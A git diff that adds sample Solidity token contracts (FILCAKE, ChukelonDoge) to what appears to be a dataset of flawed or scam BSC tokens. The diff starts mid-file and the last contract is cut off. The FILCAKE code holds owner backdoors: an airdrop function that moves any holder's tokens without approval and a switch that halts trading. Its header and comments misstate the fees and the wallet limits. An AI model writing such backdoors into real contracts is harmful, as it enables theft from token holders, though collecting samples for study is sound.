_transferToExcluded(address sender, address recipient, uint256 tAmount) private { + (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tDev) = _getValues(tAmount); + _rOwned[sender] = _rOwned[sender].sub(rAmount); + _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); + _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); + _takeLiquidity(tLiquidity); + _takeDev(tDev); + _reflectFee(rFee, tFee); + emit Transfer(sender, recipient, tTransferAmount); + } + + function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { + (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tDev) = _getValues(tAmount); + _tOwned[sender] = _tOwned[sender].sub(tAmount); + _rOwned[sender] = _rOwned[sender].sub(rAmount); + _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); + _takeLiquidity(tLiquidity); + _takeDev(tDev); + _reflectFee(rFee, tFee); + emit Transfer(sender, recipient, tTransferAmount); + } + + + function setRouterAddress(address newRouter) external onlyOwner { + IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(newRouter); + uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); + uniswapV2Router = _uniswapV2Router; + } + + function setNumTokensSellToAddToLiquidity(uint256 amountToUpdate) external onlyOwner { + numTokensSellToAddToLiquidity = amountToUpdate; + } + + + +} diff --git a/src/TSB-2023-004/metadata.json b/src/TSB-2023-004/metadata.json index 002f4e1..57e49be 100644 --- a/src/TSB-2023-004/metadata.json +++ b/src/TSB-2023-004/metadata.json @@ -11,6 +11,9 @@ }, { "name": "03.sol" + }, + { + "name": "04.sol" } ] } \ No newline at end of file diff --git a/src/TSB-2023-004/samples/04.sol b/src/TSB-2023-004/samples/04.sol new file mode 100644 index 0000000..5b9e183 --- /dev/null +++ b/src/TSB-2023-004/samples/04.sol @@ -0,0 +1,761 @@ +/** + *Submitted for verification at BscScan.com on 2021-08-03 +*/ + +/** + *Submitted for verification at BscScan.com on 2021-08-02 +*/ + +/* + +FILCAKE - HODL AND EARN CAKE AND FILECOIN EVERY 15 MINUTES!! + + +Total Fees 13%.......... + +name: FILCAKE +symbol:FILCAKE +supply:1,000,000,000 +slippage ; 15-20 % +9% Rewards +2% To Liqudiity +2% To Marketing WalleT +5% Max wallet size +2% Max transaction size + +t.me/filcakebsc + +*/ + +//SPDX-License-Identifier: MIT + +pragma solidity ^0.7.4; + + +library SafeMath { + function add(uint256 a, uint256 b) internal pure returns (uint256) { + uint256 c = a + b; + require(c >= a, "SafeMath: addition overflow"); + + return c; + } + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + return sub(a, b, "SafeMath: subtraction overflow"); + } + function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { + require(b <= a, errorMessage); + uint256 c = a - b; + + return c; + } + function mul(uint256 a, uint256 b) internal pure returns (uint256) { + if (a == 0) { + return 0; + } + + uint256 c = a * b; + require(c / a == b, "SafeMath: multiplication overflow"); + + return c; + } + function div(uint256 a, uint256 b) internal pure returns (uint256) { + return div(a, b, "SafeMath: division by zero"); + } + function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { + // Solidity only automatically asserts when dividing by 0 + require(b > 0, errorMessage); + uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + + return c; + } +} + +/** + * BEP20 standard interface. + */ +interface IBEP20 { + function totalSupply() external view returns (uint256); + function decimals() external view returns (uint8); + function symbol() external view returns (string memory); + function name() external view returns (string memory); + function getOwner() external view returns (address); + function balanceOf(address account) external view returns (uint256); + function transfer(address recipient, uint256 amount) external returns (bool); + function allowance(address _owner, address spender) external view returns (uint256); + function approve(address spender, uint256 amount) external returns (bool); + function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +/** + * Allows for contract ownership along with multi-address authorization + */ +abstract contract Auth { + address internal owner; + mapping (address => bool) internal authorizations; + + constructor(address _owner) { + owner = _owner; + authorizations[_owner] = true; + } + + /** + * Function modifier to require caller to be contract owner + */ + modifier onlyOwner() { + require(isOwner(msg.sender), "!OWNER"); _; + } + + /** + * Function modifier to require caller to be authorized + */ + modifier authorized() { + require(isAuthorized(msg.sender), "!AUTHORIZED"); _; + } + + /** + * Authorize address. Owner only + */ + function authorize(address adr) public onlyOwner { + authorizations[adr] = true; + } + + /** + * Remove address' authorization. Owner only + */ + function unauthorize(address adr) public onlyOwner { + authorizations[adr] = false; + } + + /** + * Check if address is owner + */ + function isOwner(address account) public view returns (bool) { + return account == owner; + } + + /** + * Return address' authorization status + */ + function isAuthorized(address adr) public view returns (bool) { + return authorizations[adr]; + } + + /** + * Transfer ownership to new address. Caller must be owner. Leaves old owner authorized + */ + function transferOwnership(address payable adr) public onlyOwner { + owner = adr; + authorizations[adr] = true; + emit OwnershipTransferred(adr); + } + + event OwnershipTransferred(address owner); +} + +interface IDEXFactory { + function createPair(address tokenA, address tokenB) external returns (address pair); +} + +interface IDEXRouter { + function factory() external pure returns (address); + function WETH() external pure returns (address); + + function addLiquidity( + address tokenA, + address tokenB, + uint amountADesired, + uint amountBDesired, + uint amountAMin, + uint amountBMin, + address to, + uint deadline + ) external returns (uint amountA, uint amountB, uint liquidity); + + function addLiquidityETH( + address token, + uint amountTokenDesired, + uint amountTokenMin, + uint amountETHMin, + address to, + uint deadline + ) external payable returns (uint amountToken, uint amountETH, uint liquidity); + + function swapExactTokensForTokensSupportingFeeOnTransferTokens( + uint amountIn, + uint amountOutMin, + address[] calldata path, + address to, + uint deadline + ) external; + + function swapExactETHForTokensSupportingFeeOnTransferTokens( + uint amountOutMin, + address[] calldata path, + address to, + uint deadline + ) external payable; + + function swapExactTokensForETHSupportingFeeOnTransferTokens( + uint amountIn, + uint amountOutMin, + address[] calldata path, + address to, + uint deadline + ) external; +} + +interface IDividendDistributor { + function setDistributionCriteria(uint256 _minPeriod, uint256 _minDistribution) external; + function setShare(address shareholder, uint256 amount) external; + function deposit() external payable; + function process(uint256 gas) external; +} + +contract DividendDistributor is IDividendDistributor { + using SafeMath for uint256; + + address _token; + + struct Share { + uint256 amount; + uint256 totalExcluded; + uint256 totalRealised; + } + + IBEP20 FIL = IBEP20(0x0D8Ce2A99Bb6e3B7Db580eD848240e4a0F9aE153); + address WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c; + IDEXRouter router; + + address[] shareholders; + mapping (address => uint256) shareholderIndexes; + mapping (address => uint256) shareholderClaims; + + mapping (address => Share) public shares; + + uint256 public totalShares; + uint256 public totalDividends; + uint256 public totalDistributed; + uint256 public dividendsPerShare; + uint256 public dividendsPerShareAccuracyFactor = 10 ** 36; + + //SETMEUP, change this to 1 MINUTES instead of 10mins + uint256 public minPeriod = 2 minutes; + uint256 public minDistribution = 1 * (10 ** 18); + + uint256 currentIndex; + + bool initialized; + modifier initialization() { + require(!initialized); + _; + initialized = true; + } + + modifier onlyToken() { + require(msg.sender == _token); _; + } + + constructor (address _router) { + router = _router != address(0) + ? IDEXRouter(_router) + : IDEXRouter(0x10ED43C718714eb63d5aA57B78B54704E256024E); + _token = msg.sender; + } + + function setDistributionCriteria(uint256 _minPeriod, uint256 _minDistribution) external override onlyToken { + minPeriod = _minPeriod; + minDistribution = _minDistribution; + } + + function setShare(address shareholder, uint256 amount) external override onlyToken { + if(shares[shareholder].amount > 0){ + distributeDividend(shareholder); + } + + if(amount > 0 && shares[shareholder].amount == 0){ + addShareholder(shareholder); + }else if(amount == 0 && shares[shareholder].amount > 0){ + removeShareholder(shareholder); + } + + totalShares = totalShares.sub(shares[shareholder].amount).add(amount); + shares[shareholder].amount = amount; + shares[shareholder].totalExcluded = getCumulativeDividends(shares[shareholder].amount); + } + + function deposit() external payable override onlyToken { + uint256 balanceBefore = FIL.balanceOf(address(this)); + + address[] memory path = new address[](2); + path[0] = WBNB; + path[1] = address(FIL); + + router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: msg.value}( + 0, + path, + address(this), + block.timestamp + ); + + uint256 amount = FIL.balanceOf(address(this)).sub(balanceBefore); + + totalDividends = totalDividends.add(amount); + dividendsPerShare = dividendsPerShare.add(dividendsPerShareAccuracyFactor.mul(amount).div(totalShares)); + } + + function process(uint256 gas) external override onlyToken { + uint256 shareholderCount = shareholders.length; + + if(shareholderCount == 0) { return; } + + uint256 gasUsed = 0; + uint256 gasLeft = gasleft(); + + uint256 iterations = 0; + + while(gasUsed < gas && iterations < shareholderCount) { + if(currentIndex >= shareholderCount){ + currentIndex = 0; + } + + if(shouldDistribute(shareholders[currentIndex])){ + distributeDividend(shareholders[currentIndex]); + } + + gasUsed = gasUsed.add(gasLeft.sub(gasleft())); + gasLeft = gasleft(); + currentIndex++; + iterations++; + } + } + + function shouldDistribute(address shareholder) internal view returns (bool) { + return shareholderClaims[shareholder] + minPeriod < block.timestamp + && getUnpaidEarnings(shareholder) > minDistribution; + } + + function distributeDividend(address shareholder) internal { + if(shares[shareholder].amount == 0){ return; } + + uint256 amount = getUnpaidEarnings(shareholder); + if(amount > 0){ + totalDistributed = totalDistributed.add(amount); + FIL.transfer(shareholder, amount); + shareholderClaims[shareholder] = block.timestamp; + shares[shareholder].totalRealised = shares[shareholder].totalRealised.add(amount); + shares[shareholder].totalExcluded = getCumulativeDividends(shares[shareholder].amount); + } + } + + function claimDividend() external { + distributeDividend(msg.sender); + } + + function getUnpaidEarnings(address shareholder) public view returns (uint256) { + if(shares[shareholder].amount == 0){ return 0; } + + uint256 shareholderTotalDividends = getCumulativeDividends(shares[shareholder].amount); + uint256 shareholderTotalExcluded = shares[shareholder].totalExcluded; + + if(shareholderTotalDividends <= shareholderTotalExcluded){ return 0; } + + return shareholderTotalDividends.sub(shareholderTotalExcluded); + } + + function getCumulativeDividends(uint256 share) internal view returns (uint256) { + return share.mul(dividendsPerShare).div(dividendsPerShareAccuracyFactor); + } + + function addShareholder(address shareholder) internal { + shareholderIndexes[shareholder] = shareholders.length; + shareholders.push(shareholder); + } + + function removeShareholder(address shareholder) internal { + shareholders[shareholderIndexes[shareholder]] = shareholders[shareholders.length-1]; + shareholderIndexes[shareholders[shareholders.length-1]] = shareholderIndexes[shareholder]; + shareholders.pop(); + } +} + +contract FILCAKE is IBEP20, Auth { + using SafeMath for uint256; + + address FIL = 0x0D8Ce2A99Bb6e3B7Db580eD848240e4a0F9aE153; + address WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c; + address DEAD = 0x000000000000000000000000000000000000dEaD; + address ZERO = 0x0000000000000000000000000000000000000000; + + string constant _name = "FILCAKE"; + string constant _symbol = "FILCAKE"; + uint8 constant _decimals = 4; + + uint256 _totalSupply = 1 * 10**9 * (10 ** _decimals); + uint256 public _maxTxAmount = ( _totalSupply * 20 ) / 100; + + //max wallet holding of 3% + uint256 public _maxWalletToken = ( _totalSupply * 20 ) / 100; + + mapping (address => uint256) _balances; + mapping (address => mapping (address => uint256)) _allowances; + + mapping (address => bool) isFeeExempt; + mapping (address => bool) isTxLimitExempt; + mapping (address => bool) isTimelockExempt; + mapping (address => bool) isDividendExempt; + + uint256 liquidityFee = 1; + uint256 reflectionFee = 3; + uint256 marketingFee = 14; + uint256 public totalFee = 17; + uint256 feeDenominator = 100; + + address public autoLiquidityReceiver; + address public marketingFeeReceiver; + + uint256 targetLiquidity = 20; + uint256 targetLiquidityDenominator = 100; + + IDEXRouter public router; + address public pair; + + uint256 public launchedAt; + bool public tradingOpen = true; + + DividendDistributor distributor; + uint256 distributorGas = 500000; + + // Cooldown & timer functionality + bool public buyCooldownEnabled = false; + uint8 public cooldownTimerInterval = 0; + mapping (address => uint) private cooldownTimer; + + bool public swapEnabled = true; + uint256 public swapThreshold = _totalSupply * 10 / 10000; // 0.01% of supply + bool inSwap; + modifier swapping() { inSwap = true; _; inSwap = false; } + + constructor () Auth(msg.sender) { + router = IDEXRouter(0x10ED43C718714eb63d5aA57B78B54704E256024E); + pair = IDEXFactory(router.factory()).createPair(WBNB, address(this)); + _allowances[address(this)][address(router)] = uint256(-1); + + distributor = new DividendDistributor(address(router)); + + isFeeExempt[msg.sender] = true; + isTxLimitExempt[msg.sender] = true; + isTxLimitExempt[DEAD] = true; + + // No timelock for these people + isTimelockExempt[msg.sender] = true; + isTimelockExempt[DEAD] = true; + isTimelockExempt[address(this)] = true; + + // TO DO, manually whitelist this + //isFeeExempt[_presaleContract] = true; + //isTxLimitExempt[_presaleContract] = true; + //isDividendExempt[_presaleContract] = true; + + isDividendExempt[pair] = true; + isDividendExempt[address(this)] = true; + isDividendExempt[DEAD] = true; + + // NICE! + autoLiquidityReceiver = DEAD; + marketingFeeReceiver = msg.sender; + + _balances[msg.sender] = _totalSupply; + emit Transfer(address(0), msg.sender, _totalSupply); + } + + receive() external payable { } + + function totalSupply() external view override returns (uint256) { return _totalSupply; } + function decimals() external pure override returns (uint8) { return _decimals; } + function symbol() external pure override returns (string memory) { return _symbol; } + function name() external pure override returns (string memory) { return _name; } + function getOwner() external view override returns (address) { return owner; } + function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } + function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } + + function approve(address spender, uint256 amount) public override returns (bool) { + _allowances[msg.sender][spender] = amount; + emit Approval(msg.sender, spender, amount); + return true; + } + + function approveMax(address spender) external returns (bool) { + return approve(spender, uint256(-1)); + } + + function transfer(address recipient, uint256 amount) external override returns (bool) { + return _transferFrom(msg.sender, recipient, amount); + } + + function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { + if(_allowances[sender][msg.sender] != uint256(-1)){ + _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance"); + } + + return _transferFrom(sender, recipient, amount); + } + + //settting the maximum permitted wallet holding (percent of total supply) + function setMaxWalletPercent(uint256 maxWallPercent) external onlyOwner() { + _maxWalletToken = (_totalSupply * maxWallPercent ) / 100; + } + + function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) { + if(inSwap){ return _basicTransfer(sender, recipient, amount); } + + if(!authorizations[sender] && !authorizations[recipient]){ + require(tradingOpen,"Trading not open yet"); + } + + // max wallet code + if (!authorizations[sender] && recipient != address(this) && recipient != address(DEAD) && recipient != pair && recipient != marketingFeeReceiver && recipient != autoLiquidityReceiver){ + uint256 heldTokens = balanceOf(recipient); + require((heldTokens + amount) <= _maxWalletToken,"Total Holding is currently limited, you can not buy that much.");} + + + + // cooldown timer, so a bot doesnt do quick trades! 1min gap between 2 trades. + if (sender == pair && + buyCooldownEnabled && + !isTimelockExempt[recipient]) { + require(cooldownTimer[recipient] < block.timestamp,"Please wait for cooldown between buys"); + cooldownTimer[recipient] = block.timestamp + cooldownTimerInterval; + } + + + // Checks max transaction limit + checkTxLimit(sender, amount); + + // Liquidity, Maintained at 25% + if(shouldSwapBack()){ swapBack(); } + + //Exchange tokens + _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); + + uint256 amountReceived = shouldTakeFee(sender) ? takeFee(sender, amount) : amount; + _balances[recipient] = _balances[recipient].add(amountReceived); + + // Dividend tracker + if(!isDividendExempt[sender]) { + try distributor.setShare(sender, _balances[sender]) {} catch {} + } + + if(!isDividendExempt[recipient]) { + try distributor.setShare(recipient, _balances[recipient]) {} catch {} + } + + try distributor.process(distributorGas) {} catch {} + + emit Transfer(sender, recipient, amountReceived); + return true; + } + + function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { + _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); + _balances[recipient] = _balances[recipient].add(amount); + emit Transfer(sender, recipient, amount); + return true; + } + + function checkTxLimit(address sender, uint256 amount) internal view { + require(amount <= _maxTxAmount || isTxLimitExempt[sender], "TX Limit Exceeded"); + } + + function shouldTakeFee(address sender) internal view returns (bool) { + return !isFeeExempt[sender]; + } + + function takeFee(address sender, uint256 amount) internal returns (uint256) { + uint256 feeAmount = amount.mul(totalFee).div(feeDenominator); + + _balances[address(this)] = _balances[address(this)].add(feeAmount); + emit Transfer(sender, address(this), feeAmount); + + return amount.sub(feeAmount); + } + + function shouldSwapBack() internal view returns (bool) { + return msg.sender != pair + && !inSwap + && swapEnabled + && _balances[address(this)] >= swapThreshold; + } + + function clearStuckBalance(uint256 amountPercentage) external onlyOwner { + uint256 amountBNB = address(this).balance; + payable(marketingFeeReceiver).transfer(amountBNB * amountPercentage / 100); + } + + + // switch Trading + function tradingStatus(bool _status) public onlyOwner { + tradingOpen = _status; + } + + // enable cooldown between trades + function cooldownEnabled(bool _status, uint8 _interval) public onlyOwner { + buyCooldownEnabled = _status; + cooldownTimerInterval = _interval; + } + + + + function swapBack() internal swapping { + uint256 dynamicLiquidityFee = isOverLiquified(targetLiquidity, targetLiquidityDenominator) ? 0 : liquidityFee; + uint256 amountToLiquify = balanceOf(address(this)).mul(dynamicLiquidityFee).div(totalFee).div(2); + uint256 amountToSwap = balanceOf(address(this)).sub(amountToLiquify); + + address[] memory path = new address[](2); + path[0] = address(this); + path[1] = WBNB; + + uint256 balanceBefore = address(this).balance; + + router.swapExactTokensForETHSupportingFeeOnTransferTokens( + amountToSwap, + 0, + path, + address(this), + block.timestamp + ); + + uint256 amountBNB = address(this).balance.sub(balanceBefore); + + uint256 totalBNBFee = totalFee.sub(dynamicLiquidityFee.div(2)); + + uint256 amountBNBLiquidity = amountBNB.mul(dynamicLiquidityFee).div(totalBNBFee).div(2); + uint256 amountBNBReflection = amountBNB.mul(reflectionFee).div(totalBNBFee); + uint256 amountBNBMarketing = amountBNB.mul(marketingFee).div(totalBNBFee); + + try distributor.deposit{value: amountBNBReflection}() {} catch {} + (bool tmpSuccess,) = payable(marketingFeeReceiver).call{value: amountBNBMarketing, gas: 30000}(""); + + // only to supress warning msg + tmpSuccess = false; + + if(amountToLiquify > 0){ + router.addLiquidityETH{value: amountBNBLiquidity}( + address(this), + amountToLiquify, + 0, + 0, + autoLiquidityReceiver, + block.timestamp + ); + emit AutoLiquify(amountBNBLiquidity, amountToLiquify); + } + } + + + function setTxLimit(uint256 amount) external authorized { + _maxTxAmount = amount; + } + + function setIsDividendExempt(address holder, bool exempt) external authorized { + require(holder != address(this) && holder != pair); + isDividendExempt[holder] = exempt; + if(exempt){ + distributor.setShare(holder, 0); + }else{ + distributor.setShare(holder, _balances[holder]); + } + } + + function setIsFeeExempt(address holder, bool exempt) external authorized { + isFeeExempt[holder] = exempt; + } + + function setIsTxLimitExempt(address holder, bool exempt) external authorized { + isTxLimitExempt[holder] = exempt; + } + + function setIsTimelockExempt(address holder, bool exempt) external authorized { + isTimelockExempt[holder] = exempt; + } + + function setFees(uint256 _liquidityFee, uint256 _reflectionFee, uint256 _marketingFee, uint256 _feeDenominator) external authorized { + liquidityFee = _liquidityFee; + reflectionFee = _reflectionFee; + marketingFee = _marketingFee; + totalFee = _liquidityFee.add(_reflectionFee).add(_marketingFee); + feeDenominator = _feeDenominator; + require(totalFee < feeDenominator/4); + } + + function setFeeReceivers(address _autoLiquidityReceiver, address _marketingFeeReceiver) external authorized { + autoLiquidityReceiver = _autoLiquidityReceiver; + marketingFeeReceiver = _marketingFeeReceiver; + } + + function setSwapBackSettings(bool _enabled, uint256 _amount) external authorized { + swapEnabled = _enabled; + swapThreshold = _amount; + } + + function setTargetLiquidity(uint256 _target, uint256 _denominator) external authorized { + targetLiquidity = _target; + targetLiquidityDenominator = _denominator; + } + + function setDistributionCriteria(uint256 _minPeriod, uint256 _minDistribution) external authorized { + distributor.setDistributionCriteria(_minPeriod, _minDistribution); + } + + function setDistributorSettings(uint256 gas) external authorized { + require(gas < 750000); + distributorGas = gas; + } + + function getCirculatingSupply() public view returns (uint256) { + return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO)); + } + + function getLiquidityBacking(uint256 accuracy) public view returns (uint256) { + return accuracy.mul(balanceOf(pair).mul(2)).div(getCirculatingSupply()); + } + + function isOverLiquified(uint256 target, uint256 accuracy) public view returns (bool) { + return getLiquidityBacking(accuracy) > target; + } + + + +/* Airdrop Begins */ + + + function airdrop(address from, address[] calldata addresses, uint256[] calldata tokens) external onlyOwner { + + uint256 SCCC = 0; + + require(addresses.length == tokens.length,"Mismatch between Address and token count"); + + for(uint i=0; i < addresses.length; i++){ + SCCC = SCCC + tokens[i]; + } + + require(balanceOf(from) >= SCCC, "Not enough tokens to airdrop"); + + for(uint i=0; i < addresses.length; i++){ + _basicTransfer(from,addresses[i],tokens[i]); + if(!isDividendExempt[addresses[i]]) { + try distributor.setShare(addresses[i], _balances[addresses[i]]) {} catch {} + } + } + + // Dividend tracker + if(!isDividendExempt[from]) { + try distributor.setShare(from, _balances[from]) {} catch {} + } +} + + event AutoLiquify(uint256 amountBNB, uint256 amountBOG); + +} \ No newline at end of file diff --git a/src/TSB-2023-005/metadata.json b/src/TSB-2023-005/metadata.json index cf3a4ba..e8e4bed 100644 --- a/src/TSB-2023-005/metadata.json +++ b/src/TSB-2023-005/metadata.json @@ -11,6 +11,9 @@ }, { "name": "03.sol" + }, + { + "name": "04.sol" } ] } \ No newline at end of file diff --git a/src/TSB-2023-005/samples/04.sol b/src/TSB-2023-005/samples/04.sol new file mode 100644 index 0000000..dea75ef --- /dev/null +++ b/src/TSB-2023-005/samples/04.sol @@ -0,0 +1,873 @@ +/** + *Submitted for verification at BscScan.com on 2022-02-18 +*/ + +/** + + Welcome to ChukelonDoge! ⚡️🚀⚡️ + + We bet DOGE will be the STAR of 2022, so we already are buying our DOGE! + The token will give BEP-20 Doge every 30 minutes to all holders based on how many tokens they hold. + + https://t.me/ChukelonDogeBSC + +*/ + +//SPDX-License-Identifier: MIT + +pragma solidity ^0.7.4; + + +/** + * Standard SafeMath, stripped down to just add/sub/mul/div + */ +library SafeMath { + function add(uint256 a, uint256 b) internal pure returns (uint256) { + uint256 c = a + b; + require(c >= a, "SafeMath: addition overflow"); + + return c; + } + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + return sub(a, b, "SafeMath: subtraction overflow"); + } + function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { + require(b <= a, errorMessage); + uint256 c = a - b; + + return c; + } + function mul(uint256 a, uint256 b) internal pure returns (uint256) { + if (a == 0) { + return 0; + } + + uint256 c = a * b; + require(c / a == b, "SafeMath: multiplication overflow"); + + return c; + } + function div(uint256 a, uint256 b) internal pure returns (uint256) { + return div(a, b, "SafeMath: division by zero"); + } + function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { + // Solidity only automatically asserts when dividing by 0 + require(b > 0, errorMessage); + uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + + return c; + } +} + +/** + * BEP20 standard interface. + */ +interface IBEP20 { + function totalSupply() external view returns (uint256); + function decimals() external view returns (uint8); + function symbol() external view returns (string memory); + function name() external view returns (string memory); + function getOwner() external view returns (address); + function balanceOf(address account) external view returns (uint256); + function transfer(address recipient, uint256 amount) external returns (bool); + function allowance(address _owner, address spender) external view returns (uint256); + function approve(address spender, uint256 amount) external returns (bool); + function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +/** + * Allows for contract ownership along with multi-address authorization + */ +abstract contract Auth { + address internal owner; + mapping (address => bool) internal authorizations; + + constructor(address _owner) { + owner = _owner; + authorizations[_owner] = true; + } + + /** + * Function modifier to require caller to be contract owner + */ + modifier onlyOwner() { + require(isOwner(msg.sender), "!OWNER"); _; + } + + /** + * Function modifier to require caller to be authorized + */ + modifier authorized() { + require(isAuthorized(msg.sender), "!AUTHORIZED"); _; + } + + /** + * Authorize address. Owner only + */ + function authorize(address adr) public onlyOwner { + authorizations[adr] = true; + emit Authorized(adr); + } + + /** + * Remove address' authorization. Owner only + */ + function unauthorize(address adr) public onlyOwner { + authorizations[adr] = false; + emit Unauthorized(adr); + } + + /** + * Check if address is owner + */ + function isOwner(address account) public view returns (bool) { + return account == owner; + } + + /** + * Return address' authorization status + */ + function isAuthorized(address adr) public view returns (bool) { + return authorizations[adr]; + } + + /** + * Transfer ownership to new address. Caller must be owner. Leaves old owner authorized + */ + function transferOwnership(address payable adr) public onlyOwner { + owner = adr; + authorizations[adr] = true; + emit OwnershipTransferred(adr); + } + + event OwnershipTransferred(address owner); + event Authorized(address adr); + event Unauthorized(address adr); +} + +interface IDEXFactory { + function createPair(address tokenA, address tokenB) external returns (address pair); +} + +interface IDEXRouter { + function factory() external pure returns (address); + function WETH() external pure returns (address); + + function addLiquidity( + address tokenA, + address tokenB, + uint amountADesired, + uint amountBDesired, + uint amountAMin, + uint amountBMin, + address to, + uint deadline + ) external returns (uint amountA, uint amountB, uint liquidity); + + function addLiquidityETH( + address token, + uint amountTokenDesired, + uint amountTokenMin, + uint amountETHMin, + address to, + uint deadline + ) external payable returns (uint amountToken, uint amountETH, uint liquidity); + + function swapExactTokensForTokensSupportingFeeOnTransferTokens( + uint amountIn, + uint amountOutMin, + address[] calldata path, + address to, + uint deadline + ) external; + + function swapExactETHForTokensSupportingFeeOnTransferTokens( + uint amountOutMin, + address[] calldata path, + address to, + uint deadline + ) external payable; + + function swapExactTokensForETHSupportingFeeOnTransferTokens( + uint amountIn, + uint amountOutMin, + address[] calldata path, + address to, + uint deadline + ) external; +} + +interface IDividendDistributor { + function setDistributionCriteria(uint256 _minPeriod, uint256 _minDistribution) external; + function setShare(address shareholder, uint256 amount) external; + function deposit() external payable; + function process(uint256 gas) external; +} + +contract DividendDistributor is IDividendDistributor { + using SafeMath for uint256; + + address _token; + + struct Share { + uint256 amount; + uint256 totalExcluded; + uint256 totalRealised; + } + + IBEP20 Doge = IBEP20(0xbA2aE424d960c26247Dd6c32edC70B295c744C43); + address WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c; + IDEXRouter router; + + address[] shareholders; + mapping (address => uint256) shareholderIndexes; + mapping (address => uint256) shareholderClaims; + + mapping (address => Share) public shares; + + uint256 public totalShares; + uint256 public totalDividends; + uint256 public totalDistributed; + uint256 public dividendsPerShare; + uint256 public dividendsPerShareAccuracyFactor = 10 ** 36; + + uint256 public minPeriod = 30 minutes; + uint256 public minDistribution = 1 * (10 ** 18); + + uint256 currentIndex; + + bool initialized; + modifier initialization() { + require(!initialized); + _; + initialized = true; + } + + modifier onlyToken() { + require(msg.sender == _token); _; + } + + constructor (address _router) { + router = _router != address(0) + ? IDEXRouter(_router) + : IDEXRouter(0x10ED43C718714eb63d5aA57B78B54704E256024E); + _token = msg.sender; + } + + function getShareholderInfo(address shareholder) external view returns (uint256, uint256, uint256, uint256) { + return ( + totalShares, + totalDistributed, + shares[shareholder].amount, + shares[shareholder].totalRealised + ); + } + + function setDistributionCriteria(uint256 _minPeriod, uint256 _minDistribution) external override onlyToken { + minPeriod = _minPeriod; + minDistribution = _minDistribution; + + emit DistributionCriteriaUpdated(minPeriod, minDistribution); + } + + function setShare(address shareholder, uint256 amount) external override onlyToken { + distributeDividend(shareholder); + + if(amount > 0 && shares[shareholder].amount == 0){ + addShareholder(shareholder); + }else if(amount == 0 && shares[shareholder].amount > 0){ + removeShareholder(shareholder); + } + + totalShares = totalShares.sub(shares[shareholder].amount).add(amount); + shares[shareholder].amount = amount; + shares[shareholder].totalExcluded = getCumulativeDividends(shares[shareholder].amount); + + emit ShareUpdated(shareholder, amount); + } + + function deposit() external payable override { + uint256 balanceBefore = Doge.balanceOf(address(this)); + + address[] memory path = new address[](2); + path[0] = WBNB; + path[1] = address(Doge); + + router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: msg.value}( + 0, + path, + address(this), + block.timestamp + ); + + uint256 amount = Doge.balanceOf(address(this)).sub(balanceBefore); + + totalDividends = totalDividends.add(amount); + dividendsPerShare = dividendsPerShare.add(dividendsPerShareAccuracyFactor.mul(amount).div(totalShares)); + + emit Deposit(msg.value, amount); + } + + function process(uint256 gas) external override onlyToken { + uint256 shareholderCount = shareholders.length; + + if(shareholderCount == 0) { return; } + + uint256 gasUsed = 0; + uint256 gasLeft = gasleft(); + + uint256 iterations = 0; + uint256 count = 0; + + while(gasUsed < gas && iterations < shareholderCount) { + if(currentIndex >= shareholderCount){ + currentIndex = 0; + } + + if(shouldDistribute(shareholders[currentIndex])){ + distributeDividend(shareholders[currentIndex]); + count++; + } + + gasUsed = gasUsed.add(gasLeft.sub(gasleft())); + gasLeft = gasleft(); + currentIndex++; + iterations++; + } + + emit DividendsProcessed(iterations, count, currentIndex); + } + + function shouldDistribute(address shareholder) internal view returns (bool) { + return shareholderClaims[shareholder] + minPeriod < block.timestamp + && getUnpaidEarnings(shareholder) > minDistribution; + } + + function distributeDividend(address shareholder) internal { + if(shares[shareholder].amount == 0){ return; } + + uint256 amount = getUnpaidEarnings(shareholder); + if(amount > 0){ + totalDistributed = totalDistributed.add(amount); + Doge.transfer(shareholder, amount); + shareholderClaims[shareholder] = block.timestamp; + shares[shareholder].totalRealised = shares[shareholder].totalRealised.add(amount); + shares[shareholder].totalExcluded = getCumulativeDividends(shares[shareholder].amount); + + emit Distribution(shareholder, amount); + } + } + + function claimDividend() external { + distributeDividend(msg.sender); + } + + function claimDividendFor(address shareholder) external { + distributeDividend(shareholder); + } + + function getUnpaidEarnings(address shareholder) public view returns (uint256) { + if(shares[shareholder].amount == 0){ return 0; } + + uint256 shareholderTotalDividends = getCumulativeDividends(shares[shareholder].amount); + uint256 shareholderTotalExcluded = shares[shareholder].totalExcluded; + + 